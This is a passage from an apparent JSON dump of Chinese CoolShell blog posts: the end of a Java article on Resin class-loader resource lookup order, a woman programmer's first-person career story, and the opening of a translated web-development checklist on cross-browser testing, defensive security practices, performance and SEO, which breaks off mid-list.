类加载器顺序\n\n\n既然Resin标准的Loader及其子类以组合的方式嵌入到DynamicClassLoader中，那么在加载一个“资源”时，Loader分支和java.net.URLClassLoader分支的先后顺序是什么样子的呢？\n\n\n首先使用下面这段代码，将类加载器名称打印到控制台：\n\n\n\n```\n\nClassLoader loader = PathServlet.class.getClassLoader();\nwhile (loader != null) {\n    System.out.println(loader.toString());\n    loader = loader.getParent();\n}\n\n```\n\n输出的结果为：\n\n\n\n> *EnvironmentClassLoader[web-app:http://localhost:8080/Test]*\n> \n> \n> **EnvironmentClassLoader[web-app:http://localhost:8080]**\n> \n> \n> *EnvironmentClassLoader[cluster ]*\n> \n> \n> **EnvironmentClassLoader[]**\n> \n> \n> *sun.misc.Launcher$AppClassLoader@cac268*\n> \n> \n> *sun.misc.Launcher$ExtClassLoader@1a16869*\n> \n> \n\n\n额，没有任何一个Resin的Loader被打印出来啊，对头，有就错了。下面就让我们看看DynamicClassLoader中getResource的源码来解答。\n\n\n\n```\n\n/**\n* Gets the named resource\n*\n* @param name name of the resource\n*/\n\npublic URL getResource(String name)\n{\n    if (_resourceCache == null) {\n        long expireInterval = getDependencyCheckInterval();\n        _resourceCache = new TimedCache(256, expireInterval);\n    }\n\n    URL url = _resourceCache.get(name);\n    if (url == NULL_URL)\n        return null;\n    else if (url != null)\n        return url;\n\n    boolean isNormalJdkOrder = isNormalJdkOrder(name);\n\n    if (isNormalJdkOrder) {\n    url = getParentResource(name);\n    if (url != null)\n        return url;\n    }\n\n    ArrayList loaders = _loaders;\n    for (int i = 0; loaders != null && i < loaders.size(); i++) {\n        Loader loader = loaders.get(i);\n        url = loader.getResource(name);\n\n        if (url != null) {\n            _resourceCache.put(name, url);\n            return url;\n        }\n\n    }\n\n    if (! isNormalJdkOrder) {\n        url = getParentResource(name);\n        if (url != null)\n            return url;\n    }\n\n    _resourceCache.put(name, NULL_URL);\n    return null;\n}\n\n\n```\n\n代码不难懂，我画了一张流程图，不规范，凑合看下。  \n\n![](../wp-content/uploads/2011/12/resin07.png \"resin07\")\n\n\n#### 总结\n\n\n\n```\n\nboolean isNormalJdkOrder = isNormalJdkOrder(name);\n\n```\n\n这行代码控制着Resin类加载的顺序，如果是常规的类加载顺序(向上代理，原文：Returns true if the class loader should use the normal order, i.e. looking at the parents first.)，则先url = getParentResource(name)，后遍历\\_loaders。否则是按照先遍历\\_loaders再url = getParentResource(name)向上代理。\n\n\n在我的调试经历中，一直都是先向上代理，后遍历\\_loaders的顺序，未遇到第二种方式。\n\n\n文字对先向上代理，后遍历的顺序做点儿说明：\n\n\n1. 首先使用“最上层”的*sun.misc.Launcher$ExtClassLoader@1a16869*加载name资源，如果找到就返回URL否则返回null\n2. 程序返回到*sun.misc.Launcher$AppClassLoader@cac268*，首先判断父类加载器返回的url是否为null，如果不为null则返回url，返回null。\n3. ***EnvironmentClassLoader[]***\n4. 程序返回到*EnvironmentClassLoader[cluster ]*的getParentResource，再返回到getResource，如果url不为null，则直接返回，否则遍历ArrayList<Loader> loaders = \\_loaders;从各个loader中加载name，如果加载成功，即不为null，则返回，否则继续遍历，直至遍历完成。\n5. **EnvironmentClassLoader[web-app:http://localhost:8080]**同4\n6. *EnvironmentClassLoader[web-app:http://localhost:8080/Test]*同4\n\n\nOK，完事儿，后续还有，准备好好写几篇。\n\n\n本文同时发布于：\n\n\n* <http://www.oschina.net/question/129471_34225>。\n* <http://www.oschina.net/question/129471_35231#AnchorAnswer143898>\n\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Resin服务器getResource揭秘](../wp-content/uploads/2012/01/图片1-150x150.png)](https://coolshell.cn/articles/6335.html)[Resin服务器getResource揭秘](https://coolshell.cn/articles/6335.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/11541.html)[面向GC的Java编程](https://coolshell.cn/articles/11541.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![Java中的CopyOnWrite容器](../wp-content/uploads/2014/03/cow-copy-150x150.jpg)](https://coolshell.cn/articles/11175.html)[Java中的CopyOnWrite容器](https://coolshell.cn/articles/11175.html)\nThe post [由一个问题到 Resin ClassLoader 的学习](https://coolshell.cn/articles/6112.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-12-30 一个女程序员的故事.md",
    "content": "---\nlayout: post\ntitle: 一个女程序员的故事\ndate: 2011/12/30/ 2:25:2\nupdated: 2011/12/30/ 2:25:2\nstatus: publish\npublished: true\ntype: post\n---\n\n因为有人在[酷壳里评论](https://coolshell.cn/articles/6142.html/comment-page-3#comment-113607)里说我给一个女程序员的建议不靠谱，我不服，因为我的工作经历中的一些女程序员都很不错，比那些男程序员都强，所以，我在[新浪微博](http://weibo.com/1401880315/xE597iX6J)和[twitter](https://twitter.com/#!/haoel/status/151856699387547649)上征集女程序员的故事和想法，这两天来，我收到了好几封邮件，让我很感动。其中，有一个故事让我回味很久，在脑海里挥之不去，可能是因为她的经历和我很相似，她的想法和我很有共鸣。\n\n\n本来，我想通过收到的这些故事然后编辑成一篇关于女程序员的文章，但是我觉得这个故事已经足够好了，任何的编辑都是对这个故事的不尊重，所以，我原封不动，一字不改地把这个故事转到这里。我把一些我认为精彩的地方加了粗。\n\n\n当然，我还是会再写一篇关于女程序员的文章，酷壳2011年底的最后篇文章和2012年的第一篇文章都是给女程序员的，因为，我为你们骄傲！\n\n\n从哪里说起呢，我的程序员之路。有些话只是自己心里想的很明白，还从没说过。希望你有耐心看完，因为我的故事不精彩，也算不上奋斗史。我的文笔和叙事能力也很差。\n\n\n高中报志愿的时候坚定的报了计算机技术及应用，当时对计算机的认识只是机房里的苹果机，和老师教的用basic 输出一个正方形之类的。 我当时觉得我对计算机一无所知，我想了解他，就选择了这个专业，当然当时程序员的收入也是可观的。 ：）\n\n\n大学四年下来，我的成绩不好，基础也不好，没拿过奖学金。大学的课程很多不喜欢，我不知道为什么计算机系还要学高等物理，和马列毛邓。这是题外话。说实在的，很多课上的我一头雾水。毕业后找工作不满意，我直接去读了软件工程（考研的专业课成绩没到线）。两年制，一年上课，一年实习。我想给自己的履历上增加一些至少能给我面试机会的经历。（我仔细思考过我成绩不好的原因，心里因素是主要的，高中在重点中学，我不能接受自己不是尖子生的事实，总在想自己为什么这么差，以至于这样的心情影响了我很多年，一直到工作后的几年）\n\n\n\n**实习的第一家公司是个私企，工作两周后他们不满意辞退了我，沮丧是当然的，我知道我的能力是有差距的。虽然他们没有任何培训，直接拉去干活，起码的业务流程也没给我讲，但是我真的发自内心感谢他们辞了我，让我认清了自己**。其实当时干的就是一些perl 脚本和php的网页开发。\n\n\n实习的第二家也是私企，给运营商做项目。我参加的是一个工作流项目，用java开发。我当时的java技术仅限书本身的不怎么牢靠基础知识，至于怎么设计这个系统也没有一点概念，终于一个月后我决定退出了。**经过这一个多月，我似乎知道了自己该从哪里开始了。就从java开始吧**。\n\n\n经同学介绍，去了第三家实习公司，面试的经理对实习生要求不高，让我能有机会实习。做的是银行和证券公司的网站，我主要做前端jsp的页面，同时我也选修了学校请的一位Weblogic的工程师开设的J2EE的课程。总算开始入门了。公司的同事很帮助我，有耐心让我了解了系统后台的架构。后来我随几位去客户那里出差，周末和晚上加班，为了他们临时改的需求。同事说，你一个女生出差一点不发憷啊。其实我一点不觉得累。同组的team lead没事就鞭策我说，你就甘心写code么，不能总是做开发，该为以后想想。但是我当时想法是，我的视野当时有限，还不确定自己能做成什么样子。我在这家公司完成了毕业论文。然后毕业。\n\n\n毕业找工作，我没有留在实习的公司，我想多试试。找工作的经历不多，我去过联想面试，笔试过了，一面是HR面，题目现在大概还记得，如果有化学家，天文学家，医生，乞丐，孕妇，在一个荒岛上，你只能带走一个，你带走谁呢？分组讨论，得出一致的结论，也要说出自己的结论。 同组有清华的毕业生，真的很自信，她说要带走天文学家。我说，出于人道，我肯定带走孕妇。后来就没了消息。难道医生可以留下照顾孕妇么，还是HR以为我选孕妇是注重家庭的人，没有事业心呢，我觉得这题真的不能说明什么。\n\n\n之后面试了一家日资企业，一面是很多人一起面，我听了一圈之后，觉得自己有些把握，因为同组的人比我差，看来我运气挺好的。他们之中有本科生，有研究生，都是男生，就我一个女生。问的也挺基础，就是servlet如何工作，写没写过SP，其中有个人问，什么是SP，没人理他，我告诉他是store procedure。面试官是个部长。**后来HR的人过来让我留下二面，说我一面打败了所有男士。**说来惭愧，我真的是运气好，没碰到牛人。二面经理只问了些平常的问题，就过了，于是我来到这家工作。考虑的是，外企多少工作流程上比较规范，也见见日本人是怎么工作的，还有就是自己能力有限，欧美大公司估计是没戏的，我还是从力所能及的开始吧。\n\n\n日本人工作的风格大家应该有所耳闻，就是喜欢加班，我进公司的第一个项目是代码改造，把VB6.0d code重写为VB.net。 加班到凌晨是常事，另外一个就是team lead的风格是没事也不能早走，也得耗到半夜才行。开始做的真是一点技术含量都没有，都是日本人写好guide，告诉你什么改成什么，别问为什么，不能有异议，他们怎么说你怎么改。弄得我当时都不去思考这里的技术细节，这是我当时犯傻的表现。除了技术本身，还有很多需要学习的。后来陆续做了一些我喜欢的java的项目，用到了sping，hibernate，ibatis, struts, ant等等。还有一些日本人自己开发的框架。每个项目的业务也都不同。在这家工作了三年，我觉得这不是我要的，我的技术提高有限，做的事都是别人设计好，甚至告诉你code应该如何写，而且做事风格不是我想要的。 我想去欧美文化的公司试试。也想做通讯相关的。\n\n\n同学帮我投简历，我面试一家对欧美的外包企业，一面是本公司的人面，问了项目情况，说了说英语，我准备还算充分，过了，二面是公司的客户面，到公司和客户开电话会议面试，第一次和老美直接对话，我虽说有点紧张，但是还是专心听他的问题，听不清的就让他重复一遍，我现在记得的一个问题是如何写出高效的SQL。面完回家等通知。过了几天我收到了offer。\n\n\n客户是为运营商提供软硬件服务。我们做的是BOSS系统的一个模块。都是java api。 几乎用到了J2EE中定义的所有组件和java相关的框架。我在这家工作至今。技术从不熟悉到熟悉，业务逻辑从不熟悉到熟悉，都是在开发每个feature和改的defect中慢慢了解的，硕大的系统不允许我一口吃个胖子。**只要脑子里绷根弦就每天都有进步**。加班不是常事，但是也有紧张的时候。 有时候一个defect要跟踪成千上万行代码，你才知道哪里出了问题，这是需要耐心和细心的。给客户的客户做support的时候，**经常被半夜的电话叫醒去看一个现场的问题，我不觉得累和烦，我觉得这是我价值的体现**（当然这不会每天发生）。修复一个defect我会有一点小小的成就感，每天晚上回家方便的话也会看看邮箱，看看有没有紧急的事情。**有的人认为你下班了就没必要再管工作邮箱了，但是我愿意这么做，我觉得这是我职业精神的一部分，也是工作态度**。\n\n\n偶尔会帮着公司招聘毕业生，有时候会遇到什么简单问题都答不上来的人，我感觉就像看见当初刚毕业的我，临走，我会说一句，没关系，回去好好准备，看看基础知识。\n\n\n我曾经怀疑过自己是否适合做技术，总觉得自己不如男生，也总在问自己的路在哪。而且没有自信，曾经紧张到，有人看我打字，都紧张的手抖。到现在，我觉得做技术挺好，就像你说的，我清楚的认识自己，我不是技术大牛，就每天写着自己的code，了解业务，挺好，但是不代表我不上进。很多女同学现在都不做技术了，也不写code了，但是我还在做，甚至越来越喜欢，在中国有种普遍的想法是，作几年技术该转去做管理，否则认为你不成功，这是人云亦云的说法。我想我为什么不能一直做技术呢？虽然中国的大环境可能不适合你一直做技术，但是我愿意试试。我不愿意放弃多年来积攒的一点点优势。何况我现在工作上越来越得心应手，**不久前，我收到客户的邀请，他们想让我transfer到美国或者加拿大成为他们的一员，我在等待漫长的人事流程，也有可能会pending。但是我无所谓，我现在自信，知道想要什么。一直做技术，怎么了，不行么？**\n\n\n**谈到男女程序员的问题，有些男人以技术强自居，而少了一点谦逊和工作的严谨。有些技术不强的，有些懒散，得过且过。都是我遇到过真实的人。同组的一个女生来了几个月就比一个来了一年多的男生上手快，这说明什么的，态度和努力是重要的。我更认同的是技术和男女无关，和个人有关，任何以偏概全都是片面的**。\n\n\n同组的男同事们没有因为我是女性而轻视我，我很感谢他们，在一个team工作，技术是必要条件不是充分条件，合作，交流，态度，遵守流程，任何一个都缺少不了。**如果我只是技术差点，那么我提高的空间是很大的。 多看看书，真的不难**。虽然我可能离amazon或者是google这些企业的要求还有差距，但是那是我的方向**。不过像baidu，腾讯这些流氓公司，给我多少钱也不去，女程序员也是有傲骨的**，虽然也有可能他们看不上我的能力，但是，那又有什么所谓呢。\n\n\n如果你能看完我这如白开水的文字，很感谢，因为我写的实在太不好了，这些经历普通不过，也证明我是个普通的人，**如果我高中的时候不那么在意自己是不是优秀生，就能放轻松，大学（也在想这些）会有个好成绩，没准我就能如愿的毕业就进欧美大企业，不过那样我可能也少了以上跌入谷底的经历和现在平和的心态，我想后者对我更有意义**。\n\n\n不用署名，有的话，一个女程序员，哈哈。有错误处，见谅，中午休息，仓促的回顾了这些。技术本身心得有限，我就不班门弄斧了，还需努力。也请不要注我的微薄行号啦。另外我老公也是程序员，我和他能谈些技术和项目上的事情，我想是非女程序员感受不到的乐趣，哈哈哈。\n\n\n看到这里你还不想为她鼓掌吗？\n\n\n最后，请让我我再次征集——\n\n\ncall 所有的女程序员，我想给你们写一篇blog，希望你们能和我分享你们的程序员的经历和技术心得。你是男程序员也没有问题，也欢迎分享你身边女程员的故事。 大家可以发邮件至：haoel(at)hotmail.com\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [一个女程序员的故事](https://coolshell.cn/articles/6312.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-12-7 Web开发中需要了解的东西.md",
    "content": "---\nlayout: post\ntitle: Web开发中需要了解的东西\ndate: 2011/12/7/ 0:29:49\nupdated: 2011/12/7/ 0:29:49\nstatus: publish\npublished: true\ntype: post\n---\n\n在StackExchange上有人问了这样一个问题：[What should every programmer know about web development?](http://programmers.stackexchange.com/questions/46716/what-should-every-programmer-know-about-web-development)（关于Web开发，什么是所有程序员需要知道的？）里面给出的答案非常不错，所以，我翻译转载过来。 顺便说一下，StackExchange真是非常好，大家可以对同一个答案做贡献和修订，看看这个问题的[修订过程](http://programmers.stackexchange.com/posts/46760/revisions)你就知道了——专业的问答网站应该怎么去做。这就是我在这篇文章中也说过[真正的用户体验是什么样的](https://coolshell.cn/articles/5901.html \"腾讯，竞争力 和 用户体验\")。\n\n\n好了，下面是正文（我对原文做了一些批注，也许不对或有误导，请大家指正）\n\n\n下面的这些东西可能对于大多数人并不陌生，但是可能会有些东西你以前并没有看过，或是没有完全搞懂，甚至都没有听说过。（陈皓注：我相信当你看完这个列表后，你会觉得对于我国的Web开发有点弱了，还是那句话，表面上的东西永远是肤浅的）\n\n\n#### **接口和用户体验**\n\n\n* 小心浏览器的实现标准上的不一致，确信让你的网站能够适当地跨浏览器。至少，你的网站需要测试一下下面的浏览器：\n+ 最新的 [Gecko](http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29) 引擎 ([Firefox](http://firefox.com/))，\n+ 一个 Webkit 引擎 ([Safari](http://www.apple.com/safari/), [Chrome](http://www.google.com/chrome), 或是其它的移动设备上的浏览器)\n+ [IE 浏览器](http://en.wikipedia.org/wiki/Internet_Explorer) (测试IE的兼容性你可以使用微软IE的 [Application Compatibility VPC Images](http://www.microsoft.com/Downloads/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&displaylang=en))\n+ [Opera](http://www.opera.com/) 浏览器。\n\n\n最后，你可以使用一下[这个工具](http://www.browsershots.org/) 来看看你的网页在不同的浏览器下是怎么被显示出来的（陈皓注：这个工具就是以前本站介绍过的[在不同浏览器和平台上检查你的网站的兼容性](https://coolshell.cn/articles/757.html \"如何检查网页浏览器的兼容性\")）\n\n\n* 多考虑一下人们是怎么来访问你的网站而不是那些主流的浏览器：手机，读屏软件和搜索引擎，例如：一些Accessibility的东西： [WAI](http://www.w3.org/WAI/) 和  [Section508](http://www.section508.gov/), 移动设备开发：[MobiForge](http://mobiforge.com/).\n\n\n* 部署Staging：怎么部署网站的更新而不会影响用户的访问。 [Ed Lucas的答案](http://programmers.stackexchange.com/questions/46716/what-should-a-developer-know-before-building-a-public-web-site/46738#46738) 可以让你了解一些（陈皓注：Ed说了一些如版本控制，自动化build，备份，回滚等机制）。\n\n\n* 千万不要直接给用户显示不友好的错误信息。\n\n\n\n* 千万不要把用户的邮件地址以明文显示出来，这样会被爬虫爬走并被让用户的邮箱被垃圾邮件搞死。\n\n\n* 为用户的链接加上 `rel=\"nofollow\"` 的属性以 [避免垃圾网站的干扰](http://en.wikipedia.org/wiki/Nofollow)。（陈皓注：**nofollow**是HTML的一个属性，用于通知搜索引擎“这个链接所指向的网页非我所能控制，对其内容不予置评”，或者简单地说，该链接不是对目标网站或网页的“投票”，这样搜索引擎不会再访问这个链接。这个是用来减少一些特定垃圾页面对原网站的影响，从而可以改善搜索结果的质量，并且防止垃圾链接的蔓延。）\n\n\n* [为网站建立一些的限制](http://www.codinghorror.com/blog/archives/001228.html) – 这个属于安全性的范畴。（陈皓注：比如你在Google注册邮箱时，你一口气注册超过两个以上的邮箱，gmail要求给你发短信或是给你打电话认证，比如Discuz论坛的会限制你发贴或是搜索的间隔时间等等，更多的网站会用CAPTCHA来确认是人为的操作。 这些限制都是为了防止垃圾和恶意攻击）\n\n\n* 学习如何做 [Progressive Enhancement](http://en.wikipedia.org/wiki/Progressive_enhancement). （陈皓注：[Progressive Enhancement](http://en.wikipedia.org/wiki/Progressive_enhancement)是一个Web Design的理念，如：1）基础的内容和功能应该可以被所有的浏览器存取，2）页面布局的应该使用外部的CSS链接，3）Javascript也应该是外部链接还应该是 [unobtrusive](http://en.wikipedia.org/wiki/Unobtrusive_JavaScript \"Unobtrusive JavaScript\") 的，4）应该让用户可以设置他们的偏好）\n\n\n* 如果POST成功，要[在POST方法后重定向网址](http://en.wikipedia.org/wiki/Post/Redirect/Get)，这样可以阻止用户通过刷新页面重复提交。\n\n\n* 严重关注Accessibility。因为这是[法律上的需求](http://www.section508.gov/)（陈皓注：Section 508是美国的508法案，其是美国劳工复健法的改进，它是一部联邦法律，这个法律要求所有技术要考虑到残障人士的应用，如果某个大众信息传播网站，如果某些用户群体（如残疾人）浏览该网站获取信息时，如果他们无法正常获得所期望的信息（如无法正常浏览），那可以依据相关法规，可以对该网站依法起诉）。 [WAI-ARIA](http://www.w3.org/WAI/intro/aria) 为这方面的事提供很不错的资源.\n\n\n#### **安全**\n\n\n* 在网上有很多关于安全的文章，但是 [OWASP 开发指导](http://www.owasp.org/index.php/Category%3aOWASP_Guide_Project) 涵盖了几乎所有关于Web站点安全的东西。（陈皓注：OWASP(开放Web应用安全项目- Open Web Application Security Project)是一个开放的非营利性组织，目前全球有130个分会近万名会员，其主要目标是研议协助解决Web软体安全之标准、工具与技术文件，长期 致力于协助政府或企业了解并改善网页应用程式与网页服务的安全性。OWASP被视为Web应用安全领域的权威参考。2009年下列发布的美国国家和国际立法、标准、准则、委员会和行业实务守则参考引用了OWASP。美国联邦贸易委员会(FTC)强烈建议所有企业需遵循OWASP十大WEB弱点防护守则）\n\n\n* 了解什么是 [SQL 注入攻击](http://en.wikipedia.org/wiki/SQL_injection) 并知道怎么阻止这种攻击。\n\n\n* 永远不要相信用户的输入（包括Cookies，因为那也是用户的输入）\n\n\n* 对用户的口令进行Hash，并使用salt，以防止Rainbow 攻击（陈皓注：Hash算法可用MD5或SHA1等，对口令使用salt的意思是，user 在设定密码时，system 产生另外一个random string(salt)。在datbase 存的​​是与salt + passwd 产的md5sum 及salt。 当要验证密码时就把user 输入的string 加上使用者的salt，产生md5s​​um 来比对。 理论上用salt 可以大幅度让密码更难破解，相同的密码除非刚好salt 相同，最后​​存在database 上的内容是不一样的。google一下md5+salt你可以看到很多文章。关于[Rainbow 攻击](http://en.wikipedia.org/wiki/Rainbow_table)，其意思是很像密码字典表，但不同的是，Rainbow Table存的是已经被Hash过的密码了，而且其查找密码的速度更快，这样可以让攻击非常快）。使用慢一点的Hash算法来保存口令，如 bcrypt (被时间检证过了) 或是 scrypt (更强，但是也更新一些) ([1](http://www.tarsnap.com/scrypt.html), [2](http://it.slashdot.org/comments.pl?sid=1987632&cid=35149842))。你可以阅读一下 [How To Safely Store A Password](http://codahale.com/how-to-safely-store-a-password/)（陈皓注：酷壳以前曾介绍过[bcrypt这个算法](https://coolshell.cn/articles/2078.html \"如何防范密码被破解\")，这里，我更建议我们应该让用户输入比较强的口令，比如Apple ID注册的过程需要用户输入超过8位，需要有大小写和数字的口令，或是做出类似于[这样的用户体验的东西](https://coolshell.cn/articles/3877.html \"另类UX让你输入强口令\")）。\n\n\n* [不要试图自己去发明或创造一个自己的fancy的认证系统](http://stackoverflow.com/questions/1581610/how-can-i-store-my-users-passwords-safely/1581919#1581919)，你可能会忽略到一些不容易让你查觉的东西而导致你的站点被hack了。（陈皓注：我在[腾讯那坑爹的申诉系统](https://coolshell.cn/articles/5987.html \"如何设计“找回用户帐号”功能\")中说过这个事了，我说过这句话——“真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞”，当然，很遗憾不是所有的人都能看懂这个事，包括一些资深的人）\n\n\n* 了解 [处理信用卡的一些规则](https://www.pcisecuritystandards.org/) . ([这里也有一个问题你可以查看一下](http://stackoverflow.com/questions/51094/payment-processors-what-do-i-need-to-know-if-i-want-to-accept-credit-cards-on-m)) （陈皓注：有两上vendor可以帮助你，一个是 [Authorize.Net](http://www.authorize.net/) 另一个是 [PayFlow Pro](https://www.paypal.com/cgi-bin/webscr?cmd=_payflow-pro-overview-outside)）\n\n\n* 使用 [SSL](http://www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt)/[HTTPS](http://en.wikipedia.org/wiki/Https) 来加密传输登录页面或是任可有敏感信息的页面，比如信用卡号等。\n\n\n* 知道如何对付session 劫持。（陈皓注：请参看wikipedia的这[Session Hijacking](http://en.wikipedia.org/wiki/Session_hijacking)，）\n\n\n* 避免 [跨站脚本攻击](http://en.wikipedia.org/wiki/Cross-site_scripting)(XSS)。（陈皓注：参看酷壳站前几天发的《[新浪微博的XSS攻击事件](https://coolshell.cn/articles/4914.html \"新浪微博的XSS攻击\")》）\n\n\n* 避免 [跨站](http://en.wikipedia.org/wiki/Cross-site_request_forgery)[伪造](http://en.wikipedia.org/wiki/Cross-site_request_forgery)[请求攻击 cross site request forgeries](http://en.wikipedia.org/wiki/Cross-site_request_forgery) (XSRF).\n\n\n* 保持你的系统里的所有软件更新到最新的patch。\n\n\n* 确保你的数据库连接是安全的。\n\n\n* 确保你能了解最新的攻击技术，以及你系统的脆弱处。\n\n\n* 请读一下 [The Google Browser Security Handbook](http://code.google.com/p/browsersec/wiki/Main).\n\n\n* 请读一下 [The Web Application Hacker’s Handbook](http://rads.stackoverflow.com/amzn/click/0470170778).\n\n\n* （陈皓注：之前本站的“[一些资源](https://coolshell.cn/articles/5537.html \"一些文章资源和趣闻\")”提到过[Mozilla的安全编程规范](https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines)，还有Ruby on Rails的[Web安全的开发教程](http://guides.rubyonrails.org/security.html)）\n\n\n#### **性能**\n\n\n* 只要需要，请实现cache机制，了解并合理地使用 [HTTP caching](http://www.mnot.net/cache_docs/) 以及 [HTML5 Manifest](http://www.w3.org/TR/html5/offline.html).\n\n\n* 优化页面 —— 不要使用20KB图片来平铺网页背景。（陈皓注：还有很多网页页面优化性的文章，你可以STFG – Search The Fucking Google一下。如果你要调试的话，你可以使用firebug或是chrome内置的开发人员的工具来查看网页装载的性能）\n* 学习如何 [gzip/deflate 网页](http://developer.yahoo.com/performance/rules.html#gzip \"gzip content\") ([deflate 更好](http://stackoverflow.com/questions/1574168/gzip-vs-deflate-zlib-revisited)).\n\n\n* 把多个CSS文件和Javascript文件合并成一个，这样可以减少浏览器的网络连数，并且使用gzip压缩被反复用到的文件。\n\n\n* 学习一下 [Yahoo Exceptional Performance](http://developer.yahoo.com/performance/) 这个网站上的东西，上面有很多非常不错的改善前端性能的指导，以及 [YSlow](http://developer.yahoo.com/yslow/) 这个工具。 [Google page speed](http://code.google.com/speed/page-speed/docs/rules_intro.html) 是另一个用来做性能采样的工具。这两个工具都需要安装 [Firebug](http://getfirebug.com/) 。\n\n\n* 为那些小的图片使用 [CSS Image Sprites](http://alistapart.com/articles/sprites)，就像工具条一样。 (参看 “最小化 HTTP 请求” ) （陈皓注：把所有的小图片合并成一个图片，然后用CSS把显示其中的一块，这样，这些小图片只用传输一次，酷壳的Wordpress样式的那个RSS订阅列表中的小图标就是这样做的）\n\n\n* 繁忙的网络应该考虑[把网页的内容分开存放](http://developer.yahoo.com/performance/rules.html#split)在不同的域名下。（陈皓注：比如有专门的图片服务器——图片相当耗带宽，或是专门的Ajax服务器）\n\n\n* 静态网页 (如，图片，CSS，JavaScript，以及一些不需要访问cookies的网页) 应该放在一个[不使用cookies](http://blog.stackoverflow.com/2009/08/a-few-speed-improvements/)的独立的域名下，因为所有在同一个域名或子域名下的cookie会被这个域名下的请求一同发送。另一个好的选择是使用 Content Delivery Network (CDN).\n\n\n* 使用单个页面的HTTP请求数最小化。\n\n\n* 为Javascript使用 [Google Closure Compiler](http://code.google.com/closure/compiler/) 或是 [其它压缩工具](http://developer.yahoo.com/yui/compressor/)（陈皓注：压缩Javascript代码可以让你的页面减少网络传输从而可以得到很快的喧染。注意，并不是所有的工具都可以正确压缩Javascript的，Google的这个工具甚至还可以帮你优化你的代码）\n\n\n* 确认你的网站有一个 `favicon.ico` 文件放在网站的根下，如 `/favicon.ico`. [浏览器会自动请求这个文件](http://mathiasbynens.be/notes/rel-shortcut-icon)，就算这个图标文件没有在你的网页中明显说明，浏览器也会请求。如果你没有这个文件，就会出大量的404错误，这会消耗你的服务器带宽。（陈皓注：服务器返回404页面会比这个ico文件可能还大）\n\n\n#### **SEO (搜索引擎优化)**\n\n\n* 使用 “搜索引擎喜欢的” URL，如：使用 `example.com/pages/45-article-title` 而不是 `example.com/index.php?page=45`(陈皓注：这里的URL是说Wordpress的，后者是默认的)\n\n\n* 如果你的动态页面要使用 `#` ，那么请把其改成 `#!` ，而在服务端，你需要处理`$_REQUEST[\"_escaped_fragment_\"]` 这是Google搜索引擎需要的。换句话说，`./#!page=1` 会被Google搜索引擎转成 `./?_escaped_fragments_=page=1。` （陈皓注：通常来说URL中的#后的东西都不会被传到服务器上，所以，为了要让Google可以抓取AJAX的东西，你需要使用#!，而Google会把“#!”转成“\\_escaped\\_fragment\\_”来向服务器发请求，Twitter的大量的链接者是#!的，比如：<https://twitter.com/#!/your_activity>）。另外，用户也许会使用Firefox 或 Chromium， `history.pushState({\"foo\":\"bar\"}, \"About\", \"./?page=1\");` 是一个很不错的命令。所以，就算是我们的地址栏上的地址改变了，页面也不会重新装载。这可以让你使用 `?` 而不是 `#!` 也能无刷地保住当前的动态的页面，这可以让AJAX的请求被浏览器记住。\n\n\n* 别使用 “click here” 这样的链接。这样一来，无法SEO，而且对于一些需要使用读屏人来说很不友好（陈皓注：关于读屏软件，可参看本站的“[如果看不见你还能编程吗](https://coolshell.cn/articles/5514.html \"如果你看不见你还能编程吗？\")”）\n\n\n* 做一个 [XML sitemap](http://www.sitemaps.org/)，并放在网端的根下 `/sitemap.xml`. （陈皓注：这个文件可以让搜索引擎了解你的网站图）\n* 当你有多个URL指向同一个网页的使用，使用 [`<link rel=\"canonical\" ... />`](http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html) 你可以使用 [Google Webmaster Tools](http://www.google.com/webmasters/) 来查看相关的问题。\n\n\n* 使用 [Google Webmaster Tools](http://www.google.com/webmasters/) 和 [Yahoo Site Explorer](http://siteexplorer.search.yahoo.com/).\n\n\n* 安装 